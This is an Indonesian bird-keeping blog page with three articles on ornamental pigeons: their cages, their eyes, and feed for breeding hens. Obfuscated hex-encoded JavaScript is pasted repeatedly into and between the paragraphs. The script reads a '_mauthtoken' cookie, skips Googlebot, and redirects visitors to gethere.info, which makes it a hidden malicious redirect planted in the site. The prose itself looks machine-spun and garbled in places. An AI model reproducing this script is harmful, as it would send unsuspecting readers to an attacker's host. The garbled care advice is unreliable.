IBX5980432E7F390 Ciri Burung Merpati Hias Dan Cara Perawatan Kupas Triknya - Kicauan Burung Lovebird Ngekek

Ciri Burung Merpati Hias Dan Cara Perawatan Kupas Triknya

Ciri Burung Merpati Hias Dan Cara Perawatan

Ciri burung merpati hias dan cara perawatan – Selain jenis merpati pos dan merpati pedaging, ada satu lagi merpati yang harus kita ketahui. Merpati tersebut yaitu merpati hias. Sesuai dengan namanya, merpati hias ialah merpati yang dimianfaatkan orang untuk menghiasi rumahnya.

Merpati ini tidak untuk di pertandinkna dan tidak untuk di makan dagingnya. Modal untuk memelihara burung merpati hias ada yang banyak dan ada yang rendah. Semuanya tergantung pada jenis merpati hias apa yang kita tangkarkan.Ciri Burung Merpati Hias Dan Tutorial Perawatan

Mempersiapkan Kandang merpati

Hal yang paling utama dipersiapkan sebelum memelihara merpati yaitu kandang. Usahakan kandang harus dipersiapkan pada saat burung merpati belum dibeli.

Buatlah kandang dengan baik dan benar. Kandang dibuat sesuai dengan harapan hati kita. Selain dengan sesuai dengan cita-cita kita, sangkar juga dibuat nyaman untuk burung merpati hias.

Selama hidupnya burung akan hidup di dalam kandang tersebut. Dan pastinya burung merpati hias menginginkan kadang yang bisa menciptakannya nyaman tinggal di dalam sangkar.

Dalam membuat sangkar, hal yang paling utama kita lakukan adalah mengihitung jumlah burung merpati hias yang akan kita pelihara.

Jika kita memelihara burung merpati hias dengan tujuan untuk menimbulkan usaha, sangkar yang dipersiapkan tentunya akan lebih banyak. Akan tetapi, bila ktia memelihara burung hias hanya untuk hiasan rumah saja, maka sangkar dibuat hanya sedikit saja.

Prioritas utama dari pembuatan sangkar adalah supaya burung mampu nyaman tinggal di dalamnya. Untuk itulah di dalam sangkar juga perlu difasilitasi perlengkapan yang mampu membuat burung merasa nyaman.

Mengingat di dalam sangkar tersebut burung juga akan berkembang biak dan mengurus anakannya hingga berdikari. Semua perlengkapan harus terpenuhi.

Selain itu, kandang mampu dibuat ditumpuk ataupun di buat memanjang. Semuanya tergantung pada selera kita. Namun, yang paling banyak dipakai oleh penangkar ialah kandang yang dibentuk secara menumpuk.

Kandang ini sangat efisien, apalagi untuk penangkar yang tidak mempunyai lahan yang begitu lebar untuk menangkarkan burungnya.

Membuat sangkar juga tidak harus dengan biaya yang mahal. Cukup dengan biaya yang murah saja, kita sudah bisa membuat sangkar.

Jika kita menciptakan sangkar dengan biaya yang mahal, maka keuntungan yang kita peroleh sedikit. Tujuan kita memelihara burung hias adalah untuk mejualnya kembali kepada seseorang tanpa melihat dari sisi kehebatan dari si burung merpati hias tersebut.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)wap)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Tips Menjaga Kesehatan Merpati Lomba
  • Perawatan Harian Merpati kualitas Lomba
  • Cara Beternak Burung Merpati Kusus Pemula
  • Perawatan Merpati Mabung Ganti Bulu
  • Pakan Spesial Untuk Burung Merpati Pos
  • Memilih Bibit Anakan Merpati Pos Berkualitas
  • Kontruksi Kandang Burung Merpati Pos
  • Pakan kusus Untuk Anakan Merpati Pos
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Jenis Merpati Pos Paling Populer Mahal
  • Cara Merawat Anakan Merpati Sampai Dewasa

Mata Merpati Paling Bagus Untuk Lomba

Mata merpati paling elok untuk lomba – Mata merupakan potongan yang paling penting dalam diri insan atau binatang sekalipun. Tanpa adanya mata, insan ataupun hewan tidak bisa melihat apapun yang ada disekitarnya.

Kemampuan manusia ataupun binatang juga bisa dilihat dari matanya. Tidak terkecuali dengan burung merpati. merpati memiliki mata gunanya ialah untuk melihat keadaan yang ada disekitarnya.

Kemampuan merpati pun bisa dilihat dari matanya. Burung merpati juga mempunyai keistimewaan pada matanya. Apa keistimewaannya itu?Mata Merpati Paling Bagus Untuk Lomba

Keistimewaannya terletak pada matanya yang bisa melihat ke arah belakang sekalipun. Berbeda dengan binatang yang lainnya yang tidak bisa melihat ke arah belakang.

Mata pada merpati memiliki fungsi yang begitu besar. Fungsi mata yang pertama yaitu untuk melihat bilalau ada musuh yang akan meyerang dia. Tanpa adanya mata, burung merpati tidak mampu melihat musuh yang akan menyerangnya.

Selain itu, fungsi mata yang kedua yaitu untuk melihat penangkar yang sedang melatihnya. Dengan adanya mata, burung merpati dapat melihat apa yang diajarkan penangkar kepadanya dan burung merpati akan mempraktekkannya pula.

Melalui mata, penangkar juga mampu melihat kondisi burung merpati. Jika burung sedang sakit, penangkar bisa melihatnya melalui mata.

Bagaimana cara melihatnya? Tutorial melihatnya yaitu dengan melihat mata burung kemudian perhatikanlah apakah di dalam matanya terdapat lendir atau tidak. Jika terdapat lendir berarti burung sedang sakit.

Tetapi, jikalau tidak terdapat lendir, berarti burung masih sehat saja. Jika lendir pada mata kedapatan sangat berbagai, berarti burung ini sudah sakit parah dan harus diasingkan dari burung merpati lainnya.

Sama halnya seakan-akan manusia, burung merpati juga memiliki kepingan-baigan pada matanya. Bagian-bagian mata pada burung merpati seperti retina, lensa, kornea, syaraf optik, otot mata, otot siliari, pektin, dan iris.

Masing-masingnya juga mempunyai fungsinya. Untuk mengetahui fungsinya, di bawah ini akan dibahas hanya beberapa saja fungsi pada potongan-bagian mata yang telah disebutkan.

  1. Retina, fungsinya untuk menyalurkan apa yang dilihat dengan mata ke otak. Retina juga peka terhadap cahaya.
  2. Lensa, fungsinya mengubah suatu benda atau objek kemudian untuk dipusatkan kepada mata.
  3. Iris, fungsinya untuk melihat benda yang ada di depannya supaya lebih terang.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Merawat Dan Melatih Anakan Merpati
  • Memelihara Kesehatan Burung Merpati Dewasa
  • Jenis-jenis Penyakit Pada Burung Merpati
  • Pertandingan Sistem Duda Merpati
  • Merpati Pos Dan Asal-usulnya
  • Cara Melatih Burung Merpati Muda
  • Cara Mengawinkan Merpati yang Baik
  • Melatih Merpati Menjelang Lomba
  • Melatih Bakalan Burung Merpati Muda
  • Cara Beternak Merpati Pedaging Pemula
  • Pakan Untuk Jenis Merpati Padaging

Pakan Kusus Burung Merpati Induk Betina

Pakan kusus burung merpati induk betina – Pakan antara burung duda dan burung betina tidaklah sama. Walaupun antara burung duda dan burung betina memiliki naluri, namun bukan berarti kuliner antara burung duda dan burung betina itu sama.

Apa-apa saja makanan yang boleh diberikan oleh burung duda dan burung betina? Untuk mengetahuinya, mari kita simak klarifikasi di bawah ini.Pakan Kusus Burung Merpati Induk Betina

Pemberian pakan pada burung duda betina

Burung duda sendiri merupakan burung yang dipakai untuk dipertandingkan. Makara, burung duda memerlukan nutrisi supaya kebutuhan akan gizi yang kurang mampu terpenuhi.

Salah satunya adalah dengan cara memberikan burung duda pakan yang berkualitas. Pakan yang berkualitas akan menciptakan burung duda menjadi burung yang berkualitas pula.

Pakan yang diberikan kepada burung duda terbagi menjadi dua yaitu pakan pokok dan pakan embel-embel. Kedua pakan tersebut tidak sama fungsinya.

Makanan pokok fungsinya adalah untuk memenuhi segala gizi yang ada di tubuh burung duda. Sedangkan makanan komplemen fugnsinya adalah untuk melengkapi kebutuhan nutrisi yang belum terlengkapi.

Contoh makanan pokok untuk burung duda yaitu seakan-akan biji-bijian. Biji-bijian yang dipilihpun bukan biji-bijian yang sembarangan. Setiap harinya burung duda harus diberikan.

Dalam santunan pakan, jangan terlalu penuh dan jangan terlalu sedikit. Jika terlalu penuh maka burung duda akan menjadi gemuk. Selain menjadi gemuk, pakan yang berlebihan akan dibuang-buang oleh burung duda.

Jadi, pertolongan pakan yang terlalu sedikit dan yang terlalu banyak tidak manis untuk burung duda itu sendiri dan bagi penangkar.

Selain kuliner pokok, burung duda juga mampu diberikan kuliner pelengkap jika perlu. Pakan tamabahan ini biasanya diberikan pada dikala-saat tertentu saja. Seperti polanya saat burung sedang ganti bulu atau sebagainya.

Pemberian pakan untuk burung induk betina

Siapa bilang burung betina tidak berguna untuk burung duda? Burung betina keberadaannya sangat dinantikan-tunggu oleh burung duda.

Karena keberadaannya sangat berarti untuk burung duda, untuk itu kita harus menjaganya supaya tidak sakit. Apalagi ketika burung duda simpulan bertanding, burung merpati dihentikan sakit.

Untuk menghindari hal itu, kita sebagai penangkar yang baik harus menyampaikan pakan yang berkualitas. Sama halnya dengan burung duda, burung betina jgua gdiberi pakan biji-bijian.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Melatih Merpati Menjelang Lomba
  • Pakan Burung Merpati Muda Berkualitas
  • Sistem Lomba Merpati Duda
  • Tips Melombakan Burung Merpati Betina
  • Pertandingan Sistem Duda Merpati
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Cara Mengawinkan Induk Merpati Liar
  • Jenis Merpati Pos Paling Populer Mahal
  • Ciri Merpati Berdasarkan Bentuk Badan
  • Ciri Merpati Berdasarkan Warna Bulunya

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Ciri Burung Merpati Hias Dan Cara Perawatan Kupas Triknya"

Posting Komentar